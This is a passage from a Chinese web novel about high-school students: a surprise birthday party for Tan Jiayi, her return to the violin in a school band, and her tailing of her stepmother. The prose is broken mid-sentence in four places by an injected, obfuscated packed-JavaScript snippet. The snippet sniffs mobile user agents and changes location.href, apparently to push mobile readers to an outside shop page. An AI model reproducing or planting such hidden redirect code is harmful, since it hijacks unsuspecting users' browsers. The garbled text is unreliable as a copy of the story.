陈淮北的手同样纤细,只是肤色比他要略略黑一点。两只大手叠在一起,周泽楷觉得浑身不自在,于是赶忙抽开。 观察得还挺仔细,只是这动不动就上手的毛病得改改。 “那就算了。我是想组个乐队参加元旦晚会,想弄得多元一点儿,现在还在招募阶段。刚刚去办公室就是为了批音乐教室,只是楠哥说得把人数先确定下来,满十人才给批,还怪麻烦的。”陈淮北嘟囔着。 一听他在组乐队,周泽楷第一反应想到了谭佳宜。他灵光一现,不如将此事告诉她,这倒是个主意。 “你等等。”周泽楷叫住陈淮北。 “虽然我不能去,但我倒是有个不错的推荐人选。” …… 回家路上,周泽楷还惦记着陈淮北说组乐队的事。他试探着问谭佳宜:“那个……元旦晚会不是快到了嘛。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037620|147235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯。”谭佳宜平视前方,只是微微点头。 她心下还在琢磨今天物竞课上讲得例题,压根没把他的话往心里去。 “那个……”两人同时开口。 “你先说。”又是默契十足。 “好,那我先说。”谭佳宜终于想明白了米老头课上没讲明白的一问,她迫不及待地要跟周泽楷分享。 “今天物竞课上最后一道例题你还记得吗?” “嗯……记得。” “我突然想起来,用玻尔兹曼方程式将熵先算出来,或许解起来会容易一些。”谭佳宜认真分析着。 说罢,对方却没有回响。 谭佳宜扭头一看,周泽楷正拧着眉头,像是还沉浸在自己的小世界。 “你在听我说吗?”她将手伸到他面前晃了晃。 “哦!”对方像是才反应过来一样,一下子惊醒。 “我在听。那题不是用范德瓦耳斯方程算压强嘛。”周泽楷一脸懵懂地看着她。 “……” “那是上一题。” 谭佳宜无语。合着自己刚刚讲得那么认真,全是对牛弹琴! “……” 周泽楷恍然大悟,终于跟上了谭佳宜的思路。好在他脑子活络,回去又想了一遍,便很快理解了谭佳宜说的意思。他赶紧找补道:“是个不错的想法。看来你这水平有超过米老头的趋势,该叫你一声谭老师。” 谭佳宜睨他一眼,义正言辞道:“别捧杀我。米老头虽然讲得一般,但其实水平还可以。你不要因为人家对你有偏见就不客观评价他了。” “没那回事。你说得都对。”周泽楷敷衍道。 他心里在想,上次某人可是刚扬言米老头的课没什么听的必要,还不如自学。 倒戈得还挺快。 天色渐晚,不知不觉就走到了单元楼门口,刚刚想说的话被谭佳宜一通物竞题给打断,也没来得及说出口。 周泽楷叹了口气,仰头看天。天空中挂着一轮昏黄的月亮,月色朦胧,浓重的云雾将月光遮住,让人看不清楚。 刚刚只是随口一提,看谭佳宜的态度,好像并没有放在心上。 他猜不透谭佳宜的心思,恰如看不清今夜的月亮。 第二天大课间,陈淮北难得来找谭佳宜。 谭佳宜和陈淮北并不熟,他俩自开学来就没说过几句话。除了表彰会上站在一起,最近的距离应该就是现在。 “你……有什么事吗?” “谭同学,听说你会拉小提琴。” 陈淮北开门见山,也没个铺垫,让谭佳宜摸不着头脑。 “嗯……你听谁说的?”谭佳宜反问道。 “这不是重点。我是想问问,你有没有意愿加入我们乐队,可以一起参加元旦晚会演出。而且,我们正好缺小提琴手。” 陈淮北将来意一五一十地说清楚,谭佳宜可算明白他的意图。 谭佳宜眼眸暗下来,“不好意思,我很久不拉了,也没什么兴趣。你还是另找他人吧。” 谭佳宜拒绝得果断,枉费陈淮北在此之前,还想了好多安利乐队的宣传词。 “真的不再考虑考虑吗?”陈淮北试着挽留。 谭佳宜态度坚决,依然是同样的答案:“不去!” 44. 生日&惊喜 谭佳宜不去,也不是没缘由。 小提琴对她来说,是两个极端。 一面是自己的热爱,承载着母亲还在的美好时光;一面是所恨,因为程婉乔的出现,自己连在家里拉琴的权利都被剥夺。 她看见琴,就能想到自己所遭受的不公。 陈淮北劝说未果,只好去搬救兵。 白依依作为他的同桌,考虑到她和谭佳宜关系看起来不错,她自然成了他的第一选择。 “你帮忙去劝劝呗,没准有效。” 白依依回头扫了眼谭佳宜淡漠的神情,又听说她拒绝得果断。 她想,或许是有什么隐情,毕竟谭佳宜不像是没缘由就会拒绝的人。 “哎呀,人家不想参加就别勉强啦。实在不行,咱找个大提琴上。应该也差不多。” “大提琴音色低沉,小提琴音色清脆,能一样吗?学过音乐的人怎么这都不懂。” 白依依咂咂嘴,辩驳道:“我专一,钻研钢琴!” 两人暂时搁置劝说谭佳宜参加一事,但有人却没放弃。 周泽楷知道的多,几乎能猜出个八九分。 谭佳宜不愿拉琴,应该是克服不了心理上的那关。 她主动询问真相,相信他说的话,还十分积极地调查当年的案子。这种种行为让他差点以为她真的彻底放下了。 但现在看来,或许她还是有心结没有打开。 南北交界的冬天,寒风依旧凛冽。窗户没关严实,仅仅一道缝就威力十足,让周泽楷不自觉打了个哆嗦。 雨打芭蕉,风吹梧桐。梧桐树上的叶子已所剩无几,只剩下光秃秃的枝丫。 周泽楷走到窗边去关窗。五中的窗户老旧,想关严实不容易,往往需要开开关关好几次才行。 他握住窗户把手,把窗户开到最大,试图通过惯性力将窗户带严,只是刚打开,关窗的动作却愣住了。 梧桐枝丫上飞来几只喜鹊,结伴而至。它们也是勤劳,在这样寒冷的日子里,非但没吝惜自己的嗓子,反而唱得愈发起劲儿。 声音清脆悦耳,仿佛树上有音符在跳动。 一种莫名的熟悉感袭来,周泽楷将目光转向正在埋头写题的谭佳宜,一时灵光乍现。 …… 谭佳宜的生日将至,她是年末生的,按理说比班上大部分同学都要小,只是单从气质上看,却一点也不显小。 或许年幼丧母,让她心智比同龄人要成熟不少。 生日这种事,对如今的谭佳宜来说,和平时任何一天没有什么不同。 她已经三年没正经过过生日了。 她的生日不凑巧,每次都遇上工作日,待在学校,自然也无人问津。 今天生日和过去三年没有任何不同,一样多的作业,一样平淡的上下学,一样循规蹈矩的一天。 无事发生,普通的简直没有任何记忆点。 连谭佳宜自己都快忘了,今天,是她的生日。 熟悉的放学铃声响起,班上的人陆陆续续收拾东西离开。 谭佳宜和往日一样在教室自习一会儿,等班上人走得差不多再走。 身边的人也没走,谭佳宜早就习惯了周泽楷和自己一起留到最晚。 铃声响起时,算了一半的题目终于解出来了。只见她不紧不慢地将演算纸上的答案往卷子上誊。 等号后,空出来的地方被填满,她落下最后一笔,终于大功告成。 将笔收好,谭佳宜瞥了一眼旁边的人。 周泽楷还在算题,像是没有停下的打算。 往日他看她写得差不多了,总是会提前收拾好东西,今日倒是奇怪,难不成他也是题目算到一半不忍放弃? 算了,反正不着急,等等他也行。 谭佳宜于是静坐在位置上,开始耐心等待。 傍晚,教室里的灯管总是晃得人头晕。谭佳宜一直觉得,再好的灯光,都没有自然光舒服。 这会儿不知道是不是没什么事可干的缘故,谭佳宜抬起头来,竟也开始被教室的灯光催眠,一股莫名的困意袭来,她撑着脑袋,昏昏欲睡。 谭佳宜眼皮耷拉下来,还没等她闭上,霎时间,眼前便漆黑一片。 她瞬间惊醒,一下子困意全无。 突然转换的黑暗让她无法快速适应。她伸手去够旁边的周泽楷,可惜却扑了个空。 她不怕黑,但她记得,某人胆子好像没那么大。 谭佳宜第一反应,竟是关心周泽楷的状况。 她寻思,周泽楷该不会是吓得说不出话了吧,她是不是得给他点鼓励,让他知道她还在,没什么好怕的。 刚要叫出口时,教室门口闪过一丝橘黄色的光。 接着,耳边响起熟悉的乐曲。一行人在轻轻地哼唱。 是生日快乐歌! 打头的白依依捧着蛋糕,烛光将她的脸映得通红,她呲着个大牙,笑得灿烂。 走近些,微弱的烛光将周围的人照亮,谭佳宜这才认清众人。 有远足时一起说笑的邵雨涵,有曾经为周泽楷打抱不平的何西飞,有昨天才来找过自己的陈淮北,当然还有…… 周泽楷。 “生日快乐!小谭。” “祝你生日快乐!”众人齐声道。 惊喜来得突然,实在超出了谭佳宜的预料。 已经好久没有这么隆重地庆祝生日了,上次一群人围着给她过生日,还是十一岁。 转眼,她已经十五岁了。 中间的几年好似空缺了一般,有关岁月的流逝,有关年龄的增长,她全都浑然不觉,在仇恨与麻木中度过了一天又一天。 眼泪不自觉涌上眼眶,早在她没察觉的时候就夺眶而出,几行泪悄无声息地在脸上晕开。 “怎么还哭了?”白依依不解。 “没事,就是……” 谭佳宜伸手,才发觉自己的衣领竟已经浸湿了。 被泪水打湿的领子捂着脖子并不舒服,但此刻的感动早已超越一切,其它没那么不重要。 在没人察觉的角落,周泽楷默默递过来一张纸巾。 他差点忘了,谭佳宜也是个内心柔软的小女孩。 此情此景,她估计是泪失禁又犯了。 在众人的歌唱声中,谭佳宜许下自己十五岁的生日愿望。 闭上双眼,她将双手合十,诚挚无比地在心中暗暗念下: 我希望,爱我的所有人,从今往后的每一天,无病无灾,平安顺遂。 睁开双眼,她一口气吹灭了所有蜡烛,掌声与祝福声此起彼伏。 施法结束,愿望总该会实现吧。 分完蛋糕,还没来得及吃,白依依便弯腰捂着肚子。 “哎呀妈呀,我估计是吃坏肚子了。要不我们……先走。” 白依依抓住陈淮北的袖子,对方还在认真地吃蛋糕。 这个场景谭佳宜并不陌生,记得上次在岘山也是这个说法。 只是这一次邵雨涵很是识趣,拖着旁边的何西飞就要走。 四人走得匆忙,将礼物在桌子上放好,也算是尽了心意。 “小谭生日快乐呀,明天见!”白依依和她招招手,四人便火速撤离了教室。 一时间,教室里只剩周泽楷和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14057397|147235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谭佳宜两人。 刚刚一闹,谭佳宜像是心情不错,一下子恢复了生气,连这几天因为提到小提琴而低落的情绪也消失不见。 她嘴角翘起,将桌子上的礼物一一收好。只是五个人来给她庆生,礼物却只有四份,唯独不见周泽楷的那一份。 意识到这点后,谭佳宜脸上的笑容瞬间僵住。一丝不满在心头蔓延,他该不会忘了准备吧? 将东西收拾好后,谭佳宜都没等周泽楷,抬脚就要走。 周泽楷追上来,主动想帮她提东西。 “不用,我自己来就行。” “不重吗?” “不重!” 东西或许不重,但她这语气确实有点冲。 周泽楷就知道,她肯定在气,为什么单单他没给她准备礼物。 旁边的姑娘走得飞快,尽管周泽楷身高腿长,跟上也有些费劲。 他跑了两步,绕到她跟前,挡住了她的去路。 “干嘛挡道!” “这个,给你。” 他不知从哪儿拿出个盒子,递到谭佳宜面前。 礼盒精美,硬质纸盒上漆着五线谱,谱子上点缀着几个音符。旁边的梧桐树下,少女裙摆飞扬,正在安静地拉琴。 谭佳宜抚摸着礼盒,上面的所有物件触感都十分明显,可以感受到颜料的厚度。 这不是盒子上自带的,分明是手绘上去的。 盒子一面透明,不用拆开,直接就能看清里面的内容。 是同盒子上一样的手办。 拉琴的少女,高大的梧桐,闪烁的音符,一个不落。 这个礼物她不陌生,那天在玩具店,她一眼便相中了它。 没想到就是自己多看几眼的东西,他也能注意到。 “你送这个,什么意思?”谭佳宜说话时,还带着些许鼻音。 “没什么意思。觉得好看,就买了。”周泽楷笑道。 “撒谎!” 明明别有用心,还不承认。 “那个……元旦晚会,我参加。”谭佳宜吞吞吐吐道。 “真的?” 周泽楷两眼放光,他是真心希望她能重新拾起小提琴,这毕竟是她热爱的东西。 “真的。我决定了。”谭佳宜语气坚定,比之前拒绝时更加坚定。 “今天这些,都是你准备的吧。”抱着礼盒,谭佳宜边走边说。 “嗯,算是吧。就是想让你开心一点。” “其实……你找他们来给我庆生的时候,我就猜到了。” 周泽楷脚步一滞,心提到嗓子眼。 他想,自己这么做不会她该不会是介意吧。 “你紧张什么?”谭佳宜被他的反应逗笑了,“我想说,其实刚才许愿的时候我就想好了,我决定参加。” 周泽楷终于松了口气,连带着刚刚僵直的后背也放松下来。 “什么原因让你突然回心转意的?” “嗯……可能就是一瞬间,看见大家都在祝福我,就突然意识过来,原来我也会被这么多人在乎。” 谭佳宜像是才后知后觉醒悟过来,终于开始试着相信这个世界的善意,只是语气轻轻的,似乎还有几分不确定。 头突然被人揉了揉,耳边响起温柔的一声:“当然。” 此刻的谭佳宜,大脑一片空白。 她也不知道“当然”这两个字有什么魔力,总之,像是勾着她的魂一样,在脑海里久久回荡。 谭佳宜将礼盒抱得更紧了些,努力让自己冷静下来。 “对了,你今天许了个什么愿?” “秘密。” 45. 探班&登台 乐队正式组建完毕,吉他手陈淮北,钢琴手白依依,鼓手何西飞,贝斯手邵雨涵,小提琴手谭佳宜。 主打一个多元共存,古典乐与摇滚乐结合。 每天中午是乐队的训练时间,放学后,几人迅速吃完午饭,便全身心地投入到训练中。 训练教室是周泽楷帮着去批的,有班长盯着,批教室的进度都要快不少,比陈淮北赤手空拳去找老师要强得多。 去食堂路上,陈淮北揽上周泽楷的肩头,说了声:“谢了。” 对方似乎并不在意,只道:“小事” 陈淮北手不安分地在他肩头点了几下,接着道:“要说你每天中午干嘛在外面偷偷摸摸地看,想看进来就行。闲人勿扰,但恩人可不敢怠慢。” 一道冰冷的目光落在陈淮北身上,他搭在周泽楷肩上的手一下子弹开。 为了看谭佳宜拉琴,周泽楷这些天中午一直留在学校。 他是外行人,总不好在训练的时候待在里面,又没什么事可做,反倒让他们不自在。 周泽楷淡淡地拒绝:“不用。” “你放心,她没注意。训练的时候一个比一个专注,我都有被他们吓到,就连平时看着吊儿郎当的何西飞也来认真的了。” 陈淮北将手插到兜里,摸索一番,最后只摸出一个钢镚。 “我饭卡呢?” 他不死心,翻遍外套口袋翻卫衣口袋,连裤兜也不放过。 在大庭广众下陈淮北也完全没包袱,即使摸遍全身翻找的样子有些滑稽,他也没有丝毫放不开。 还是周泽楷先看不下去,直接大手一挥,将饭卡递过去:“别找了,刷我的吧。” “谢谢兄弟,”陈淮北偏头一笑,“拿人手短,替人办事。今天中午劳您屈尊来验收一下我们这些天的成果。可以否?” 周泽楷略略点头,微不可查地勾起唇角。 这琴谭佳宜好久不拉,不过有六年的童子功在身上,重新捡起来也快。 谭佳宜是最早到的,因为她不去食堂吃午饭,只随意塞两口面包。 她坐在教室里等其他人来,一边啃面包,一边看谱子。 门口传来一阵脚步声,只是谭佳宜过于专注,也没注意到来人的动静。她皱着眉,正琢磨着这段和弦该怎么拉。 直到那人走到跟前,她才反应过来。 只单单看鞋,谭佳宜以为是陈淮北或者何西飞,她抬眸,对上那双狭长的眼睛,心下一动。 周泽楷弯着腰,将从食堂带来的盒饭放到她前面的小桌子上。她一抬头两人隔着仅仅一拳的距离,感受着对方的鼻息。 又是犯规的距离,怎么每次碰到他都这么近。 谭佳宜不出所料地红了脸,赶忙别过头去。 “要是今天不来,还不知道你天天都不好好吃饭。”周泽楷说教着她。 谭佳宜心虚,将面包迅速放回桌兜,狡辩道:“我吃过了,不能再吃点零食嘛。” 她这语气似是在耍无赖,周泽楷宠溺地笑笑,“你说这话自己估计都不信吧。”周泽楷将饭盒小心打开,里面都是些家常菜,白菜鱼丸,小葱豆腐,西红柿炒鸡蛋,不过营养倒是很均衡。 谭佳宜瞟了眼,“看着就没什么胃口。” 周泽楷知道她平时喜欢吃辣的,但她胃不好,吃了辣的容易犯胃病。食堂菜多清淡,也是她不爱吃食堂的原因。 “多少吃点,食堂的菜起码还比较健康,”周泽楷将饭菜朝她面前推了推,像哄小孩子般说着:“就算为了乐队能顺利演出,你也得把身体照顾好。就吃几口嘛。” 谭佳宜架不住他劝,在他的监督下勉强吃了口鱼丸和豆腐。 周泽楷注意到她将青菜扒到一边,一口都没动,于是化身幼儿园老师,立即指出来,“青菜也得吃,补充维生素。” “我平时水果吃得可多。”谭佳宜犟嘴道。 “不能浪费,吃点总是好的。” 在周泽楷老师的监督下,谭佳宜小朋友总算将每个菜都雨露均沾了一遍。 看着谭佳宜小朋友顺利进食完毕,周泽楷露出满意的笑容。 谭佳宜看他没打算走,疑惑道:“对了,你今天来就是为了给我送饭?” “……也不是。” 话说到一半,官方出来宣布了。 只见门口的陈淮北走进来,跟着进来的还有白依依、邵雨涵、何西飞…… 一行人全都面露不自然的笑容,谭佳宜这才意识到,他们是一直在门口等着! 和周泽楷对视一眼,谭佳宜略显尴尬地笑笑。 “周泽楷是我专门请过来的观众兼评委。”陈淮北解释道, “我们练了这么久,也基本上能顺下来,不过最终的舞台效果还是观众说的算。观众大都也不懂音乐,我们呈现给他们就是他们耳朵听到的第一感觉。所以,像周泽楷这种门外汉再合适不过了。” 陈淮北给周泽楷使了个眼色,周泽楷心下懒得看他,也不知道他是在夸自己还是在损自己。 何西飞冷不丁在他那气震山河的架子鼓上敲了下,附和道:“对,咱不能闭门造车,得接受观众的检验才行。” 白依依也表示赞同:“班长,你不用担心我们的心理承受能力,就说出你的真实感受就行。” 邵雨涵补充道:“对,要毫无保留的,一针见血的。” “行,那我们开始吧。”陈淮北看大伙准备得差不多了,将伴奏音乐打开。 演奏开始,前奏由一段悠扬的钢琴导入,黑白键盘在白依依指尖起起落落,美妙的音乐随之流淌出来。 接着,钢琴和小提琴合奏,小提琴的激昂和钢琴的柔和巧妙融合,将古典乐的魅力发挥到极致。 高潮降临,吉他贝斯鼓声全加进去,大合奏的多元层次将所有感官瞬间调动起来,周泽楷感觉自己鸡皮疙瘩都起来了。 曲终,没缓过来的不止周泽楷,演奏者也全都沉浸在音乐世界的酣畅淋漓中,久久不能平息。 他原以为自己的目光会不自觉地锁定在谭佳宜身上。 但他完全不用担心。真正表演起来的时候,每个人都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085687|147235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是耀眼的明星,都散发着独一无二的魅力。 掌声响起,虽然现在只有寥寥一人。但周泽楷已经可以预见,正式演出会有多么震撼。 陈淮北试探着问:“怎么样?给点评价。” 一旁的何西飞也急不可耐:“哎呀,我刚刚好像进快了一拍。”他懊恼地将鼓槌放好,接着道:“已经准备好接受审判了,班长你尽管说。” 白依依小声跟了句:“我还弹错了个音,刚刚都慌死了。还好后面没错。” “其实……”周泽楷故意卖了个关子。 众人看他面色不太好,心下一沉。 “其实,特别棒!” 周泽楷给所有人竖起大拇指。 何西飞难以置信道:“真的,我这抢拍了也没事?” 周泽楷耸耸肩,“反正我是没听出来。”接着安慰他们:“整体已经很成熟了,可以再磨合一下细节。我们不用达到完美,这不现实,大家尽自己最大努力就好。” 谭佳宜接着说:“嗯。完美的演奏本就很难做到,我们不是机器人,每个音的强弱每次演奏都是不一样的。没必要吹毛求疵,整体配合好了就会有好的效果。” 白依依点点头:“嗯嗯。” 陈淮北打气道:“大家再接再厉。咱们再辛苦两天,给这次演出画个完美的句号。” 众人齐声:“祝演出成功!” 正式演出那天,众人聚集在后台准备。 谭佳宜着一身银白色礼服,从更衣室出来。 白依依看呆了,谭佳宜穿上这件衣服简直比白天鹅还美,清冷高雅,和她的气质很配。 白依依忍不住啧声赞叹:“太美了吧!” 谭佳宜打量她穿着一袭黑色礼裙,小A版型,前肢膝盖后至脚踝,很是别致。 谭佳宜捻起她的裙子,笑着问:“你今天换了个风格,不走可爱风了?” 对方俏皮一笑:“今天是暗黑女王。”说着,双手叉腰,凹了个酷酷的姿势。 邵雨涵走出来,她穿着黑色皮衣皮裤,银白耳钉很是闪亮耀眼,脖子上的铆钉choker直接将蒸汽朋克风拉满。 “我去,我要被艳压了,这是真酷!”白依依一脸羡慕。 谭佳宜帮她把头发挽起来,安慰道:“你胜在反差。” 周泽楷负责活动摄影工作,现在正忙得不可开交。 帷幕缓缓合上,一曲优美的琵琶舞结束,主持人登台宣布:“下一个节目,由高一十一班‘似火’乐队为我们带来演奏,大家掌声欢迎!” 一切就绪,帷幕再次拉开,聚光灯缓缓点亮,将黑暗中的五人映照得无比清晰。 时隔多年,谭佳宜再次登台。 她长舒了口气,闭上眼睛感受聚光灯下的这份炽热。 这一刻,似火的青春在尽情燃烧。 她睁眼,往台下大致扫了一圈。 角落里一个熟悉的身影在眼眸中打转,少年正在低头认真摆弄着录像设备。 她或许不知道,透过镜头,周泽楷正在看她。 46. 麻烦&跟踪 元旦晚会结束后,五中迎来了分外忙碌的期末周。 忙活完元旦晚会的事情,好消息和坏消息也接踵而至。 好消息是元旦晚会乐队演出反响不错,得了特等奖。学校特等奖一共只有两个名额,算是最高荣誉。 坏消息嘛,就是“希望杯”作文比赛国奖结果出来了。 但谭佳宜没得奖。 这节是体育课,班上女生却大都留在教室。 期末周的体育课不少人都会选择在教室刷题,老师心里都有数,往往睁一只眼闭一只眼。 不过男生这种生物好像有使不完的牛劲,不管大考小考,只要雷公不来,学校不停体育课,依旧照上不误。 一下课,一群男生就抱着篮球足球各种家伙往外走。 周泽楷本来说不去,无奈被一群人起哄说班长得带头营造热爱运动的风气,刚好篮球差个人,他推脱不掉,就跟着去了。 谭佳宜和大多女生一样选择留在教室。她迅速做完一套语综题,准备再刷套数学小题,头却有些晕晕乎乎。 冬季教室里暖风开得足,加上门窗紧闭,空气没法儿流淌,整个教室里有种二氧化碳中毒的趋势,闷得人透不过气来。 谭佳宜摸了摸脸颊,果然很烫。她从位子上挪开,打算出去走走。 走廊上,白依依刚打完水回来,远远就看见谭佳宜伏在栏杆上出神。 她走近些,顺着谭佳宜的目光往外看。 空旷的集会广场上没什么人,只有飘扬的五星红旗在寒风中坚持驻守,再往远看,就只剩些看不清楚的高楼大厦,一样的结构,一样的风格,在雾气缭绕中静默。 的确没什么看头。 白依依缓缓开口:“出来透气的吗?” 谭佳宜愣神,被身后突然传来的幽幽一声吓一跳,她将视线收回,转向眼前的白依依:“嗯。” 白依依将杯盖打开,杯子中瞬间腾起一团白雾,她没注意,直接喝了一口,差点没喷出来。 “唔,好烫!”白依依眉毛拧紧,赶忙伸出舌尖降温。 谭佳宜在旁边关心道:“没事吧?慢点。” 白依依被烫得舌头都捋不直,摆摆手,接着含糊道:“没事。我舌尖细胞再生能力强。” 谭佳宜回过去想了几遍,总算把她这句话给理明白,她倏地被白依依这句话给逗笑了。 不过白依依也是真乐观。 白依依陪她一同在冷风中站着,也没打算回教室,许是也嫌教室闷。 谭佳宜说了句:“对了,还没来得及恭喜你,作文比赛得了一等奖。” 白依依不好意思地摸头,羞涩中还带着一些愧疚,毕竟一起参加一个比赛,不管是得奖的一方还是没得奖的一方都容易产生别扭。 她还真没想到谭佳宜会先提这事。 “你……”白依依欲言又止。 “我知道你想说什么,不用担心我啦,我没那么在乎结果。我自己语文几斤几两心里有数,其实能挺进省赛,我就很知足了。”谭佳宜笑着拍了下白依依的肩头。 白依依的表情送下来,好像事情并没有按照自己担心的方向进行,她没想到谭佳宜这么释然。 “谁说的,你真的写得很好,君姐和我一致认同。君姐在办公室还跟我吐槽那些专家没品,不识货。”白依依义正言辞地说道,情绪还有些激动。 谭佳宜笑道:“行了行了,别那么愤慨。我能得到国奖一等奖得主和语文一级教师的肯定,这含金量还不高?” 谭佳宜语气轻快,她是真释怀了,也是真心为好朋友的成功喝彩。 期末月在重复的刷题讲题中按下加速键,很快,寒假来临。 寒假对于谭佳宜来说,不是休息,而是艰巨任务的真正开始。 手机传来震动,谭佳宜打开一看,是七哥发来的。 “这个人有点可疑。” 简洁明了的消息后附着一张图片,一个打扮讲究的年轻女人和穿着朴素的清瘦男人在街角拉扯。 男人拽着女人的手腕,似在挽留;女人一脸不耐,似想摆脱。 谭佳宜心下一颤,这男人他不认识,但这女人的身形她再熟悉不过。 单单是个侧脸,她就能确定是程婉乔无疑。 谭佳宜飞速地编辑着消息:“什么时候?” 七哥:“这周。” …… 谭佳宜紧紧握住手里的手机,一时陷入沉思。 这个月她其实不是什么也没做,她很早就去找了七哥,让七哥盯着程婉乔。 本来一个月都没有任何动静,渐渐的谭佳宜都开始不抱期待了,上天却再次给她划开真相的口子,让她再次燃起希望。 谭佳宜二话不说,又发了条消息过去:“继续盯着,有消息第一时间通知我。” 她想也没想就按了发送键,等她回过头再审视这串消息时,眉头似有若无地皱起。 这语气……是不是有点像是命令人。 她开始反思自己对七哥的态度。 好歹七哥也是不辞辛劳地帮她盯了一个多月,到头来就只有自己冷冰冰的一句叫人接着盯,这话谭佳宜自己听着都心寒,实在太过无情。 她犹豫着,将刚刚的话撤回。 转而发了句:“辛苦了,谢谢。” 谁知刚发出去,对面就弹出来一则新消息:“OK” 谭佳宜盯着牛头不对马嘴的聊天界面出神,觉得不妥,怕七哥理解岔意思,又发了句:“我放假了。查案的事你别管了,我来就行。” 结果对面回了句:“?” 谭佳宜盯着屏幕看,觉得自己的措辞还是有些奇怪。 她重新读了一遍,竟读出了几分“我的事你少管”的潜台词。她苦笑着面对自己拒人于千里之外的表达,懊恼自己怎么在线上就不会说话了。 谭佳宜还纠结着自己该怎么弥补之际,对方直接一个电话打来。 她慌忙接通了电话。 “那个……我的意思是让你休息几天,这段时间麻烦你了,我现在有空了,可以自己来查。”谭佳宜解释道。 对面一阵无言,明明是他拨过来的电话,这会儿却不说话了。 “喂,你在听吗?”谭佳宜问了几遍。 她将电话拿近了些,听见那头的人好像在叹气。 终于,七哥缓缓开口:“谭佳宜,你什么时候变得这么客气了,我都快不认识你了。” 谭佳宜顿住,她搞不清楚七哥到底什么意思,自己说“谢谢”难不成他还不乐意。 不过听他这语气,似乎是真生气了。 他难得叫她“谭佳宜”,往日多唤她小名。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105125|147235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这三个字从他嘴里清晰地说出来,谭佳宜竟觉得格外陌生。 她不知道接下来该怎么说,只听见电话中又传来七哥低沉的声音:“你多麻烦麻烦我吧,我不介意。” “……” 谭佳宜这回听明白了,七哥是在求她。不过求人麻烦自己她还是第一回遇到。 按理说,这些年她麻烦了七哥不少事情,要说之前一起对付谭墨行还能解释为他们都想报仇,毕竟谭墨行也是他父母悲剧的间接导致者。 但如今谭佳宜查她母亲的案子就和七哥没什么瓜葛了,帮是情分,不帮也在情理之中。 但他却选择了帮,还不想让谭佳宜将他划在事情之外。这是在自己给自己找事。 谭佳宜有些愧疚,她真的很感激七哥,七哥对她来说是家人般的存在,她希望他也能放下过往。 她低声道:“嗯。”便挂断了电话。 没过几天,事情果然有了新的进展。 谭佳宜注意到程婉乔出门了,也跟着出去。 谭墨行现在在公司,一时半会回不来,程婉乔送完谭佳航去少年宫上围棋班之后,没急着回家,而是朝反方向走去。 谭佳宜在远处跟着她一路进入一个小巷,这一片的多是老旧家属院。 破落的楼宇和谭佳宜现在住的高档小区形成鲜明的对比,下水道井盖上满是陈年污渍,黏腻的地沟油顺着道路两旁的缝隙往外流。 路过一处垃圾桶,已经满溢的垃圾桶还有行人往里扔东西。刺鼻的味道窜进谭佳宜鼻子,她忍不住用袖子掩掩。 不得不说,这里比网吧的巷子环境还要差。 从巷子口一路深入,不知拐了多少个弯。她不敢跟得太近,怕程婉乔发现自己。 前头的拐角转得急,程婉乔不知为何突然加快脚步,等到谭佳宜跟上去时,人已经没了影。 谭佳宜一瞬僵在原地。 她这是跟丢了! 谭佳宜飞快地扫视着周围的环境,小巷两侧是老旧的单元楼,没刷漆,只一层薄薄的水泥将砖瓦裹住,不少磨损严重的地方,可以清晰地窥见里头的砖红。 单元楼的正门不在巷子表面,要想上单元楼,还得往里走,不过一楼多小贩做生意,所以是敞开的。 旁边水果摊的大爷正在躺椅上晒太阳,谭佳宜走近问了句:“您好,请问刚刚有看见一个大概这么高的女人过去吗?提着个包,穿米色大衣。” 谭佳宜今天穿了件再普通不过的黑色羽绒服,牛仔长裤,戴着黑色鸭舌帽,并不扎眼。 但程婉乔的穿搭却不算低调,与巷子中的外套大都褪色的人格格不入,很容易辨认。 大爷反应过来,好像没听清她说的话,问道:“什么?” 谭佳宜在大爷耳边又耐心重复了一遍,对方这才听清。 大爷耳朵不好使,但眼神好使。 他一下子就想起谭佳宜说的这个人,指着前面不远处道:“好像往那边走了。” 谭佳宜顺着他的目光看过去,筒子楼有好几层,她就算知道程婉乔在哪栋楼里,也不知道在哪一层哪一户。 